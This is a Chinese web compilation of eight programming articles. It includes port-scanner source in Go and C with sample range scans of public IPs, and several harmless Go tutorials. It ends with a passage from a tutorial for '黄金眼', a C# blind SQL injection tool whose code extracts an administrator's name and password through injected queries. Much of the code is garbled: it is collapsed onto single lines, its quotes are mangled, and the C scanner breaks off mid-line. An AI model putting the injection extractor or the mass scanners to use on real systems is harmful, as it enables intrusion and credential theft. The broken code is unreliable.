go语言制作端口扫描器(集锦8篇)由网友“Bitchybitch”投稿提供,以下是小编帮大家整理后的go语言制作端口扫描器,仅供参考,欢迎大家阅读。
篇1:go语言制作端口扫描器
本文给大家分享的是使用go语言编写的TCP端口扫描器,可以选择IP范围,扫描的端口,以及多线程,有需要的小伙伴可以参考下,
GO语言编写的TCP端口扫描器,本人的第一个GO程序。
Git@OSC:git.oschina.net/youshusoft/GoScanner
使用命令:
Scanner startIp [endIp] port thread
参数说明:
startIp 开始IP
endIp 结束IP,可选,不输入表示只扫描startIp
port 扫描端口,单个端口:3389;多个端口:1433,3389;连续端口:135-3389
thread 最大并发线程数,最高2048
扫描结果保存在同目录下的 result.txt 中,每次启动都会清掉之前的内容。
例子一:
Scanner 58.96.172.22 58.96.172.220 80 512
扫描58.96.172.22到58.96.172.220中的80端口,最大并发线程512。
例子二:
Scanner 58.96.172.22 58.96.172.220 21,5631 512
扫描58.96.172.22到58.96.172.220中的21和5631端口,最大并发线程512。
例子三:
Scanner 58.96.172.22 58.96.172.220 1-520 512
扫描58.96.172.22到58.96.172.220中的1到520端口,最大并发线程512。
例子四:
Scanner 58.96.172.22 1-520 512
扫描58.96.172.22中的1到520端口,最大并发线程512。
package mainimport (“fmt”“strconv”“flag”“strings”“net”“os”)/** 扫描地址*/var ipAddrs chan string = make(chan string)//扫描结果var result chan string = make(chan string)//线程数var thread chan int = make(chan int)var nowThread int;//关闭程序var clo chan bool = make(chan bool)//保存结果func writeResult{ fileName := “result.txt” fout,err := os.Create(fileName) if err != nil{ //文件创建失败 fmt.Println(fileName + “ create error”) } defer fout.Close() s,ok := <- result for ;ok;{ fout.WriteString(s + “rn”) s,ok = <- result } //通知进程退出 clo <- true; }//根据线程参数启动扫描线程func runScan(){ t,ok := <- thread nowThread = t; if ok{ for i := 0;i < nowThread;i++{ go scan(strconv.Itoa(i)) } } //等待线程终止 for;<-thread == 0;{ nowThread-- if nowThread == 0{//全部线程已终止,关闭结果写入,退出程序close(result)break } }}/** 扫描线程*/func scan(threadId string){ s,ok := <-ipAddrs for;ok;{ fmt.Println(“[thread-” + threadId + “] scan:” + s) _,err := net.Dial(“tcp”,s) if err == nil{//端口开放result <- s } s,ok = <-ipAddrs } fmt.Println(“[thread-” + threadId + “] end”) thread <- 0;}//获取下一个IPfunc nextIp(ip string) string{ ips := strings.Split(ip,“.”) var i int; for i = len(ips) - 1;i >= 0;i--{ n,_ := strconv.Atoi(ips[i]) if n >= 255{//进位ips[i] = “1”}else{//+1n++ips[i] = strconv.Itoa(n)break } } if i == -1{ //全部IP段都进行了进位,说明此IP本身已超出范围 return “”; } ip = “” leng := len(ips) for i := 0;i < leng;i++{ if i == leng -1{ip += ips[i] }else{ip += ips[i] + “.” } } return ip}//生成IP地址列表func processIp(startIp,endIp string) []string{ var ips = make([]string,0) for ;startIp != endIp;startIp = nextIp(startIp){ if startIp != “”{ips = append(ips,startIp) } } ips = append(ips,startIp) return ips}//处理参数func processFlag(arg []string){ //开始IP,结束IP var startIp,endIp string //端口 var ports []int = make([]int,0) index := 0 startIp = arg[index] si := net.ParseIP(startIp) if si == nil{ //开始IP不合法 fmt.Println(“‘startIp‘ Setting error”) return } index++ endIp = arg[index] ei := net.ParseIP(endIp) if(ei == nil){ //未指定结束IP,即只扫描一个IP endIp = startIp }else{ index++ } tmpPort := arg[index] if strings.Index(tmpPort,“-”) != -1{ //连续端口 tmpPorts := strings.Split(tmpPort,“-”) var startPort,endPort int var err error startPort,err = strconv.Atoi(tmpPorts[0]) if err != nil || startPort < 1 || startPort > 65535{//开始端口不合法return } if len(tmpPorts) >= 2{//指定结束端口endPort,err = strconv.Atoi(tmpPorts[1])if err != nil || endPort < 1 || endPort > 65535 || endPort < startPort{ //结束端口不合法 fmt.Println(“‘endPort‘ Setting error”) return} }else{//未指定结束端口endPort = 65535 } for i := 0;startPort + i <= endPort;i++{ports = append(ports,startPort + i) } }else{ //一个或多个端口 ps := strings.Split(tmpPort,“,”) for i := 0;i < len(ps);i++{p,err := strconv.Atoi(ps[i])if err != nil{ //端口不合法 fmt.Println(“‘port‘ Setting error”) return}ports = append(ports,p) } } index++ t,err := strconv.Atoi(arg[index]) if(err != nil){ //线程不合法 fmt.Println(“‘thread‘ Setting error”) return } //最大线程2048 if t < 1{ t = 1; }else if t > 2048{ t = 2048; } //传送启动线程数 thread <- t //生成扫描地址列表 ips := processIp(startIp,endIp) il := len(ips) for i := 0; i < il;i++{ pl := len(ports) for j := 0;j < pl;j++{ipAddrs <- ips[i] + “:” + strconv.Itoa(ports[j]) } } close(ipAddrs)}func main(){ flag.Parse() if flag.NArg() != 3 && flag.NArg() != 4{ //参数不合法 fmt.Println(“Parameter error”) return } //获取参数 args := make([]string,0,4) for i := 0;i < flag.NArg();i++{ args = append(args,flag.Arg(i)) } //启动扫描线程 go runScan() //启动结果写入线程 go writeResult() //参数处理 processFlag(args) //等待退出指令 <- clo; fmt.Println(“Exit”)}
以上所述就是本文的全部内容了,希望大家能够喜欢,
篇2:GO语言实现的端口扫描器
这篇文章主要介绍了GO语言实现的端口扫描器分享,本文直接给出实现代码,代码中包含大量注释,需要的朋友可以参考下
代码如下:
//GO语言 实现端口扫描
//缺陷
//port 无法设置成全局变量不知道怎么设置的
//var l = list.New() 这个是数组操作并不是消息队列 跟消息队列功能类似
//实现功能
//实现生成 IP段
//实现端口扫描
//实现参数传入
//写入文件到本地
//main.go 58.215.20.30 58.215.201.30 80
//文件名 开始IP 结束IP 扫描端口
//QQ29295842 希望认识更多的朋友技术交流
//QQ群367196336 go golang WEB安全开发
package main
import (
“container/list”
“fmt”
“net”
“os”
“strconv”
“strings”
“time”
)
func ip2num(ip string) int {
canSplit := func(c rune) bool { return c == ‘.‘ }
lisit := strings.FieldsFunc(ip, canSplit) //[58 215 20 30]
//fmt.Println(lisit)
ip1_str_int, _ := strconv.Atoi(lisit[0])
ip2_str_int, _ := strconv.Atoi(lisit[1])
ip3_str_int, _ := strconv.Atoi(lisit[2])
ip4_str_int, _ := strconv.Atoi(lisit[3])
return ip1_str_int<<24 | ip2_str_int<<16 | ip3_str_int<<8 | ip4_str_int
}
func num2ip(num int) string {
ip1_int := (num & 0xff000000) >> 24
ip2_int := (num & 0x00ff0000) >> 16
ip3_int := (num & 0x0000ff00) >> 8
ip4_int := num & 0x000000ff
//fmt.Println(ip1_int)
data := fmt.Sprintf(“%d.%d.%d.%d”, ip1_int, ip2_int, ip3_int, ip4_int)
return data
}
func gen_ip(Aip1 int, Aip2 int) {
index := Aip1
for index < Aip2 {
//fmt.Println(num2ip(index))
// 入队, 压栈
ip_data := num2ip(index)
//fmt.Println(ip_data)
l.PushBack(ip_data)
index++
}
}
func text_add(name string, data string) { //向文件中写入数据 text_add(“file2.txt”, “qqqqqqqqqqqqqqqqqqqqqqq”)
f, err := os.OpenFile(name, os.O_RDWR|os.O_CREATE|os.O_APPEND, 0x644)
if err != nil {
panic(err)
}
defer f.Close()
_, err = f.WriteString(data)
_, err = f.WriteString(“rn”)
if err != nil {
panic(err)
}
}
//text_add(“file2.txt”, “qqqqqqqqqqqqqqqqqqqqqqq”)
var l = list.New()
func socket_ip(host string, port string) bool {
var (
remote = host + “:” + port
)
tcpAddr, _ := net.ResolveTCPAddr(“tcp4”, remote) //转换IP格式
//fmt.Printf(“%s”, tcpAddr)
conn, err := net.DialTCP(“tcp”, nil, tcpAddr) //查看是否连接成功
if err != nil {
fmt.Printf(“no==%s:%srn”, host, port)
return false
}
defer conn.Close()
fmt.Printf(“ok==%s:%srn”, host, port)
return true
}
func for_ip(port string) {
now := time.Now()
year, mon, day := now.UTC().Date()
file_name := fmt.Sprintf(“%d-%d-%d_%s”, year, mon, day, port)
for { //死循环
if l.Len() <= 0 {
fmt.Println(“跳出循环”)
break //#跳出
}
// 出队 从前读取
i1 := l.Front()
l.Remove(i1)
IP, _ := i1.Value.(string)
if socket_ip(IP, port) {
//OK
//获取当前 日期作为文件名 在把IP写入进去
text_add(file_name+“_ok.txt”, IP)
} //else {
// text_add(file_name+“_no.txt”, IP)
// }
time.Sleep(time.Millisecond * 500) //纳秒为单位
}
}
func main() {
argsLen := len(os.Args)
//fmt.Println(argsLen)
if argsLen != 4 {
fmt.Println(“main.go 58.215.20.30 58.215.201.30 80”)
} else {
gen_ip(ip2num(os.Args[1]), ip2num(os.Args[2]))
for index := 0; index < 200; index++ {
go for_ip(os.Args[3])
}
for {
time.Sleep(1 * time.Second) //纳秒为单位
}
}
}
篇3:Linux C语言写的超级简单端口扫描器linux操作系统
本文章来给各位同学介绍关于 Linux C语言写的超级简单端口扫描器,希望方法对各位同学有帮助,
代码如下复制代码#include#include
#include
#include
#include
#include
#include
void msg
{
printf(“EP:scan ip startport endportnEP:scan ip 127.0.0.1 20 n”);
}
int main(int argc,char** argv)
{
char *ip;
int startport,endport,sockfd,i;
struct sockaddr_in to;
float costtime;
clock_t start,end;
if(4!=argc)
{
msg();
return 0;
}
ip=argv[1];
startport=atoi(argv[2]);
endport=atoi(argv[3]);
if(startport<1 || endport>65535 || endport
篇4:go语言制作一个gif动态图
这篇文章主要介绍了go制作一个gif动态图的相关资料,需要的朋友可以参考下
如题,关键不是图怎么样,而是说,go可以拿来实现动态图验证码,加上go支持cgi、fcgi,完全可以做个exe拿去增补现有的服务器么,
ball.go
package mainimport ( “github.com/hydra13142/cube” “github.com/hydra13142/geom” “github.com/hydra13142/paint” “image” “image/color/palette” “image/gif” “math” “os”)var ( pln *cube.Plain unx cube.Vector uny cube.Vector)const ( H = 18 W = 36)func init() { pln, _ = cube.NewPlain(cube.Point{}, cube.Vector{4, 4, 3}) uny = cube.FromTo(cube.Point{}, pln.VerticalPoint(cube.Point{0, 0, 10})).Unit() unx = cube.OuterProduct(uny, cube.Vector{4, 4, 3}).Unit()}func main() { var x [H + 1][W]cube.Point var y [H + 1][W]geom.Point dz := math.Pi / H dxy := math.Pi * 2 / W for i := 0; i <= H; i++ { az := float64(i)*dz - math.Pi/2 r := 140 * math.Cos(az) z := 140 * math.Sin(az) for j := 0; j < W; j++ {axy := float64(j) * dxyx[i][j] = cube.Point{math.Cos(axy) * r, math.Sin(axy) * r, z} } } pics := make([]*image.Paletted, 0, 20) img := paint.Image{ FR: paint.Green, BG: paint.White, } stp := dxy / 20 delay := make([]int, 0, 20) for t := 0; t < 20; t++ { img.Image = image.NewPaletted(image.Rect(0, 0, 300, 300), palette.Plan9) for i := 0; i <= H; i++ {for j := 0; j < W; j++ { ox := cube.FromTo(cube.Point{}, x[i][j]) y[i][j] = geom.Point{cube.InnerProduct(ox, unx), cube.InnerProduct(ox, uny)} a, b := x[i][j].X, x[i][j].Y x[i][j].X = a*math.Cos(stp) - b*math.Sin(stp) x[i][j].Y = b*math.Cos(stp) + a*math.Sin(stp)} } for i := 0; i < H; i++ {for j := 0; j < W; j++ { img.Line( 150+int(y[i][j].X), 150-int(y[i][j].Y), 150+int(y[i][(j+1)%W].X), 150-int(y[i][(j+1)%W].Y), ) img.Line( 150+int(y[i][j].X), 150-int(y[i][j].Y), 150+int(y[i+1][j].X), 150-int(y[i+1][j].Y), )} } pics = append(pics, img.Image.(*image.Paletted)) delay = append(delay, 5) } file, _ := os.Create(“ball.gif”) defer file.Close() gif.EncodeAll(file, &gif.GIF{ Image: pics, Delay: delay, LoopCount: 5 * len(delay), })}
woniu.go
package mainimport ( “github.com/hydra13142/cube” “github.com/hydra13142/geom” “github.com/hydra13142/paint” “image” “image/color/palette” “image/gif” “math” “os”)var ( pln *cube.Plain unx, uny cube.Vector)const ( H = 18 W = 96)func init() { pln, _ = cube.NewPlain(cube.Point{}, cube.Vector{2, 2, 1}) uny = cube.FromTo(cube.Point{}, pln.VerticalPoint(cube.Point{0, 0, 10})).Unit() unx = cube.OuterProduct(uny, cube.Vector{2, 2, 1}).Unit()}func main() { var x [H + 1][W]cube.Point var y [H + 1][W]geom.Point dz := math.Pi / H dxy := math.Pi * 4 / W for i := 0; i <= H; i++ { az := float64(i)*dz - math.Pi/2 r := 300 * math.Cos(az) z := 100 * math.Sin(az) for j := 0; j < W; j++ {axy := float64(j) * dxyR := float64(j) * r / Wx[i][j] = cube.Point{math.Cos(axy) * R, math.Sin(axy) * R, z} } } pics := make([]*image.Paletted, 0, 20) img := paint.Image{ FR: paint.Green, BG: paint.White, } stp := math.Pi / W delay := make([]int, 0, 2*W) for t := 0; t < 2*W; t++ { img.Image = image.NewPaletted(image.Rect(0, 0, 600, 300), palette.Plan9) for i := 0; i <= H; i++ {for j := 0; j < W; j++ { ox := cube.FromTo(cube.Point{}, x[i][j]) y[i][j] = geom.Point{cube.InnerProduct(ox, unx), cube.InnerProduct(ox, uny)} a, b := x[i][j].X, x[i][j].Y x[i][j].X = a*math.Cos(stp) - b*math.Sin(stp) x[i][j].Y = b*math.Cos(stp) + a*math.Sin(stp)} } img.Line(300+int(y[0][0].X),150-int(y[0][0].Y),300+int(y[H][0].X),150-int(y[H][0].Y), ) for i := 0; i < H; i++ {for j := 1; j < W; j++ { img.Line( 300+int(y[i][j].X), 150-int(y[i][j].Y), 300+int(y[i][j-1].X), 150-int(y[i][j-1].Y), ) img.Line( 300+int(y[i][j].X), 150-int(y[i][j].Y), 300+int(y[i+1][j].X), 150-int(y[i+1][j].Y), )} } pics = append(pics, img.Image.(*image.Paletted)) delay = append(delay, 5) } file, _ := os.Create(“woniu.gif”) defer file.Close() gif.EncodeAll(file, &gif.GIF{ Image: pics, Delay: delay, LoopCount: 5 * len(delay), })}
rotate.go
package mainimport ( “github.com/hydra13142/cube” “github.com/hydra13142/geom” “github.com/hydra13142/paint” “image” “image/color/palette” “image/gif” “math” “os”)var ( pln *cube.Plain unx, uny cube.Vector)const ( H = 9 W = 36)func init() { pln, _ = cube.NewPlain(cube.Point{}, cube.Vector{4, 4, 3}) uny = cube.FromTo(cube.Point{}, pln.VerticalPoint(cube.Point{0, 0, 10})).Unit() unx = cube.OuterProduct(uny, cube.Vector{4, 4, 3}).Unit()}func main() { var x [H*W + 1]cube.Point var y [H*W + 1]geom.Point dxy := (math.Pi * 2) / W dz := math.Pi / H for i := 0; i <= H*W; i++ { az := float64(i)*dz/W - math.Pi/2 r := 140 * math.Cos(az) z := 140 * math.Sin(az) axy := float64(i) * dxy x[i] = cube.Point{math.Cos(axy) * r, math.Sin(axy) * r, z} } pics := make([]*image.Paletted, 0, 20) img := paint.Image{ FR: paint.Green, BG: paint.White, } stp := math.Pi * 2 / (W * 3) delay := make([]int, 0, 3*W) for t := 0; t < 3*W; t++ { img.Image = image.NewPaletted(image.Rect(0, 0, 300, 300), palette.Plan9) for i := 0; i <= H*W; i++ {ox := cube.FromTo(cube.Point{}, x[i])y[i] = geom.Point{cube.InnerProduct(ox, unx), cube.InnerProduct(ox, uny)}a, b := x[i].X, x[i].Zx[i].X = a*math.Cos(stp) - b*math.Sin(stp)x[i].Z = b*math.Cos(stp) + a*math.Sin(stp) } img.Line(150+int(y[0].X),150-int(y[0].Y),150+int(y[H*W].X),150-int(y[H*W].Y), ) for i := 0; i < H*W; i++ {img.Line( 150+int(y[i].X), 150-int(y[i].Y), 150+int(y[i+1].X), 150-int(y[i+1].Y),) } pics = append(pics, img.Image.(*image.Paletted)) delay = append(delay, 8) } file, _ := os.Create(“rotate.gif”) defer file.Close() gif.EncodeAll(file, &gif.GIF{ Image: pics, Delay: delay, LoopCount: 5 * len(delay), })}
以上就是本文的全部内容了,希望大家能够喜欢,
篇5:go语言制作的zip压缩程序
这篇文章主要介绍了go语言制作的zip压缩程序,其主体思路是首先创建一个读写缓冲,然后用压缩器包装该缓冲,用Walk方法来将所有目录下的文件写入zip,有需要的小伙伴参考下,
可以压缩文件和目录。
package mainimport ( “archive/zip” “bytes” “fmt” “io/ioutil” “os” “path/filepath”)func main { if err := compress(`gopkg`, `gopkg.zip`); err != nil { fmt.Println(err) }}// 参数frm可以是文件或目录,不会给dst添加.zip扩展名func compress(frm, dst string) error { buf := bytes.NewBuffer(make([]byte, 0, 10*1024*1024)) // 创建一个读写缓冲 myzip := zip.NewWriter(buf) // 用压缩器包装该缓冲 // 用Walk方法来将所有目录下的文件写入zip err := filepath.Walk(frm, func(path string, info os.FileInfo, err error) error { var file []byte if err != nil {return filepath.SkipDir } header, err := zip.FileInfoHeader(info) // 转换为zip格式的文件信息 if err != nil {return filepath.SkipDir } header.Name, _ = filepath.Rel(filepath.Dir(frm), path) if !info.IsDir() {// 确定采用的压缩算法(这个是内建注册的deflate)header.Method = 8file, err = ioutil.ReadFile(path) // 获取文件内容if err != nil { return filepath.SkipDir} } else {file = nil } // 上面的部分如果出错都返回filepath.SkipDir // 下面的部分如果出错都直接返回该错误 // 目的是尽可能的压缩目录下的文件,同时保证zip文件格式正确 w, err := myzip.CreateHeader(header) // 创建一条记录并写入文件信息 if err != nil {return err } _, err = w.Write(file) // 非目录文件会写入数据,目录不会写入数据 if err != nil { // 因为目录的内容可能会修改return err // 最关键的是我不知道咋获得目录文件的内容 } return nil }) if err != nil { return err } myzip.Close() // 关闭压缩器,让压缩器缓冲中的数据写入buf file, err := os.Create(dst) // 建立zip文件 if err != nil { return err } defer file.Close() _, err = buf.WriteTo(file) // 将buf中的数据写入文件 if err != nil { return err } return nil}
以上所述就是本文的全部内容了,希望大家能够喜欢,
篇6:GO 语言学习指南
这篇文章主要介绍了GO 语言学习指南,介绍的相当全面,有需要的小伙伴参考下吧,
1.导入包,一个主函数中只有一个main函数,包含一个main包,主函数中我们要申明main的包!
代码如下:
package main
func main(){
}
2.引入包文件,譬如我们使用的是fmt包,打印helloword用,golang有一个包可见性的定义,就譬如其他语言中的private 、protected这些声明。当手写字母是小写的就是包内可用,包外就不可以用了,手写字母大写,引用包的就可以使用!举个例子:fmt.Println();我们会发现我们使用的和引用的函数都是大写的!小写的会调用错误的!
代码如下:
package main
import “fmt”
func main(){
fmt.Println(“你好,脚本之家”);
}
3.包的混淆机制,我们可以包的别名,譬如我们感觉包记不住或者说包的名字差不多我们就使用这个别名机制!
代码如下:
package main
import str “fmt”
package main(){
str.Println(“你好,脚本之家”);
}
4.多个包、常量、全局变量、一般类型等简写。当我们有多个常量、包等怎么申明呢
代码如下:
import( const ( var(
“fmt” PI =”3.1415926” name =1
“net” NAME =”widuu” age =12
“io” AGE =”12” wo =”me”
) ) )
5.Go的类型
代码如下:
bool 布尔型 就有true false 没有0和1
int 整型 根据平台自定义如果你是32位的就是32位的整型
int8 8位的整型 在-128~256这个取值范围 其实就在2的8次方的值,有符号就是带负数,uint8就是无符号的
int16 16位整型
rune 32位的有符号的整型
int64 64位整型
float32/64位
complex64 /complex128 负数类型
其他类型
array slice string
引用类型
slice map chan
接口类型 interface
函数类型 func
5.变量的申明与赋值和申明的值
我们申明,没有赋值的时候我们会发现这样的
当申明 int float 输出是0 申明bool 输出的是false
引用包math输出最大的值和最小值,譬如这个输出最大的int16的取值范围fmt.Println(math.MaxInt16)
6.类型申明我们可以自定义类型申明,譬如如下
代码如下:
package main
import std “fmt”
type 文本 string
func main() {
var a 文本
a = “你好”
std.Println(a)
}
7.类型转换
查看源代码打印帮助
代码如下:
var a float32 = 100.01
b:=int(a) //输出a的值就是100.01 输出b的值是100
var c int = 65
d:=string(c) //输出的是A这就直接转换成文本的形式A
b:=strconv.Itoa(c) //这样输出的就是65直接文本输出
篇7:go语言工程结构
这篇文章主要简单介绍了go语言工程结构,对于我们学习go语言很有帮助,需要的朋友可以参考下
Go是一门推崇软件工程理念的编程语言,
Go的代码必须放在工作区中。工作区其实就是一个对应于特定工程的目录,它应该包含三个子目录: src 用于以代码包的形式组织并保存Go源码文件。应该分为三类:库源码文件、命令源码文件、测试源码文件。
pkg 用于存放由go install命令构建安装后的代码包(库源码文件)的“.a“归档文件。与GOROOT目录下的pkg功能类似,区别在于,工作目录中的pkg目录专门用来存放用户代码的归档文件。 bin 在通过go install命令完成安装之后,保存由Go命令源码文件生成的可执行文件,
ps:所谓命令源码文件,就是可以独立运行,可被go build或go install命令转换成可执行文件。库源码文件指某个代码包中的普通源码文件。
设置GOPATH
代码如下:
$vim /etc/profile export GOPATH=$HOME/golang/lib:$HOME/golang/learngo
$source /etc/profile
$HOME/golang/lib用于存放第三方代码库(go get命令获得)
$HOME/golang/learngo 用于存放学习代码
以上就是本文的全部内容了,希望大家能够喜欢。
篇8:黄金眼――SQL注入扫描器的制作(3)
关键字:黄金眼,SQL注入,扫描器,C#
“折半查找”是我在“黄金眼”1.2和1.3中使用的查找方法,速度已经非常快了。查找算法的优劣,主要指标就是比较次数。我们希望用最少的比较次数找到我们需要的内容。下面我给大家三个公式,量化比较一下三种查找方法的速度。至于公式的来源,大家可以不必追究。有兴趣的读者可以参考清华大学出版的《数据结构》。
“顺序查找”:ASL = (n + 1) / 2 当n = 20时ASL = 11
“索引查找”:ASL = log2(n / s + 1) + s / 2 当 n = 20,s = 6时ASL = 9
“折半查找”:ASL = log2(n + 1) C 1 当n = 20时ASL = 4
结果为近似值。这里n为查找表的元素总个数。s为一个索引段包含元素个数。ASL为平均查找次数。当然了,这个值越小,查找越快。
从上面的数据我们可以看出“折半查找”效率之高。实际上n的个数越大,查找速度的优劣越明显。我计算过,有65535个元素的时候,“顺序查找”平均需要32768次。而“折半查找”平均只需要15次就可以完成查找。
好了,我已经介绍过使用三种查找方法来得到字段长度的函数。下面我们来看看得到字段内容的实现。依然使用“折半查找”
private char GetField(string table, string field, int index, int l, int h)
{
int nchar = 0;
int low = l;
int hig = h;
int mid;
//避免死循环,设置最大查找次数
int tmp = h - l;
while((low <= hig)&&(tmp!=0))
{
//计算中点值
mid = (low + hig)/2;
//判断字段值是否小于中点值
if(this.GetPage(strPage + ”%20and%201=(select%20id%20from%20“ + table +”%20where%20asc(mid(“ + field + ”,“ + index.ToString() + ”,1))<“ + mid.ToString() + ”)“))
//缩小扫描范围
hig = mid - 1;
else
//判断字段值是否大于中点值
if(this.GetPage(strPage + ”%20and%201=(select%20id%20from%20“ + table +”%20where%20asc(mid(“ + field + ”,“ + index.ToString() + ”,1))>“ + mid.ToString() + ”)“))
//缩小扫描范围
low = mid + 1;
else
//判断字段值是否等于中点值
if(this.GetPage(strPage + ”%20and%201=(select%20id%20from%20“ + table +”%20where%20asc(mid(“ + field + ”,“ + index.ToString() + ”,1))=“ + mid.ToString() + ”)“))
{
//查找成功
nchar = mid;
//退出循环
break;
}
//最大查找次数减1
--tmp;
}
//返回查找到的结果,为0说明查找失败
return (char)nchar;
}
函数我不详细讲解了,其实和获得字段长度的函数差不多。大家自己看看注释吧。
有了获得字段长度和获得字段值字符的函数,我们就可以开始编写真正的扫描代码。调用这些函数来完成我们需要的功能。这里,我使用多线程的方式来完成。由于线程调用函数不能使用参数传递值,必须在窗体类中添加下面的全局字段以向扫描线程函数传递参数:
private bool bNameOver;//当扫描管理员名的线程开始时被置false,结束时被置true
private bool bPassOver;//当扫描密码的线程开始时被置false,结束时被置true
private string strPage;//扫描的目标页面
下面是扫描管理员名的线程函数:
public void GetName()
{
int nNameLen;
txtLog.Text += ”查询管理员名长度...u000du000a“;
//调用GetFieldLen获得管理员名长度
nNameLen = this.GetFieldLen(”password“, ”name“, 1, 20);
txtLog.Text += ”管理员名长度为:“+nNameLen.ToString()+”u000du000a“;
//当管理员名长度不为0时
if(!nNameLen.Equals(0))
{
txtLog.Text += ”查询管理员名...u000du000a“;
//执行循环次数为管理员名长度的查找获得管理员名
for(int j = 1; j <= nNameLen; ++j)
{
txtLog.Text += ”查询管理员名第“+j.ToString()+”个字符...u000du000a“;
//调用GetField函数获得管理员名的第i个字符,字符查找范围是ASCII码33-126
char ctmp = this.GetField(”password“, ”name“, j, 33, 126);
//如果GetField函数返回0则获取失败
if(!ctmp.Equals('u0000'))
txtName.Text += ctmp;
else
{
txtLog.Text += ”管理员名查询错误!u000du000a“;
break;
}
}
txtLog.Text += ”管理员名查询完成!u000du000a“;
}
else
{
txtLog.Text += ”无法查询到可用管理员名!u000du000a“;
}
//检测密码是否扫描完毕
if(bPassOver)
{
//密码也扫描完毕,将btnOK解除禁用
btnOK.Enabled = true;
}
//设置bNameOver,表示管理员名扫描完毕
bNameOver = true;
}
同样的扫描密码的线程函数:
public void GetPass()
{
int nNameLen;
txtLog.Text += ”查询密码长度...u000du000a“;
//调用GetFieldLen获得密码长度
nNameLen = this.GetFieldLen(”password“, ”name“, 1, 50);
txtLog.Text += ”密码长度为:“+nNameLen.ToString()+”u000du000a“;
//当密码长度不为0时
if(!nNameLen.Equals(0))
{
txtLog.Text += ”查询密码...u000du000a“;
//执行循环次数为密码长度的查找获得密码
for(int j = 1; j <= nNameLen; ++j)
{
txtLog.Text += ”查询密码第“+j.ToString()+”个字符...u000du000a“;
//调用GetField函数获得密码的第i个字符,字符查找范围是ASCII码33-126
char ctmp = this.GetField(”password“, ”pwd“, j, 33, 126);
//如果GetField函数返回0则获取失败
if(!ctmp.Equals('u0000'))
txtPass.Text += ctmp;
else
{
txtLog.Text += ”密码查询错误!u000du000a“;
break;
}
}
txtLog.Text += ”密码查询完成!u000du000a“;
}
else
{
txtLog.Text += ”无法查询到可用密码!u000du000a“;
}
//检测管理员名是否扫描完毕
if(bNameOver)
{
//管理员名也扫描完毕,将btnOK解除禁用
btnOK.Enabled = true;
}
bPassOver = true;
}
现在什么都有了,只要创建线程,开始扫描就OK,
在按钮btnOK的Click事件中添加下面的代码:
private void btnOK_Click(object sender, System.EventArgs e)
{
//清空扫描日志文本框、管理员名文本框、密码文本框
txtLog.Clear();
txtName.Clear();
txtPass.Clear();
//将目标页面的地址传入线程使用的全局变量strPage中去
strPage = txtPage.Text;
//为了避免用户多次点击按钮btnOK造成输出冲突,禁用按钮
btnOK.Enabled = false;
//创建线程
ThreadStart tsName = new ThreadStart(GetName);
Thread tName = new Thread(tsName);
ThreadStart tsPass = new ThreadStart(GetPass);
Thread tPass = new Thread(tsPass);
//设置扫描标识
bNameOver = false;
bPassOver = false;
//启动线程,开始扫描
tName.Start();
tPass.Start();
}
“黄金眼”的所有核心代码就都在这里了。
补充一点的是现在这个程序还不能查找字段值为中文的内容。那么如何查找中文内容呢?给大家一点提示:中文是双字节。midb和ascb是针对双字节处理的函数。比如ascb(midb(” “, 3, 1))返回的就是“客”字的前半个字的ASCII码“162”。ascb(midb(” “, 4, 1)) 返回的就是“客”字的后半个字的ASCII码“91”。当然还有测试长度用的双字节函数lenb。当你用len测试“ ”这两个汉字的时候,得到的长度为2。但是用lenb(” ")得到的字符串长度就为4。呵呵,问题一下简单了许多。当然了,这时候扫描范围也再不是33-126了。将扩大到0-255。
大家是否对用程序模拟枯燥乏味的猜测过程有了一个大体的了解呢?我希望大家能体会一下我在连续升级的几版中使用不同的查找方法加快查找的思路。因为这才是本文的目的所在。我希望大家能够理解程序模拟入侵的思路,动手编写自己的扫描器。
最后我要特别提出,我不是光破坏不维护的人。扫描器和“金梅”系统的补丁在我的站上都有下载。使用“金梅”系统的朋友最好还是打上补丁吧!如果对文中的任何内容有疑问也可以在留言板上给我留言:www.xxiyy.com 。祝大家玩得开心!(^_^)
★ 解释说明范文
★ WIN技巧:ExchangeOutlookWebAccess疑难解答
★ 水果词汇(下)
【go语言制作端口扫描器(集锦8篇)】相关文章:
探讨如何限制Notes用户邮箱大小?Windows系统2022-04-30
响应承诺书2023-07-16
Windows 服务器的安全防护林2023-06-15
打黑事迹材料2022-07-16
赛场大反攻观后感2022-05-07
浅议计算机信息网络安全技术和安全防范措施2022-06-29
系统加速我用Windows系统四大自带工具2023-03-11
练就火眼金睛 关闭包藏祸心的危险端口WEB安全2022-08-23
笔记本电脑开机慢电脑卡是什么原因2023-04-27
入门初级教程之一2022-11-11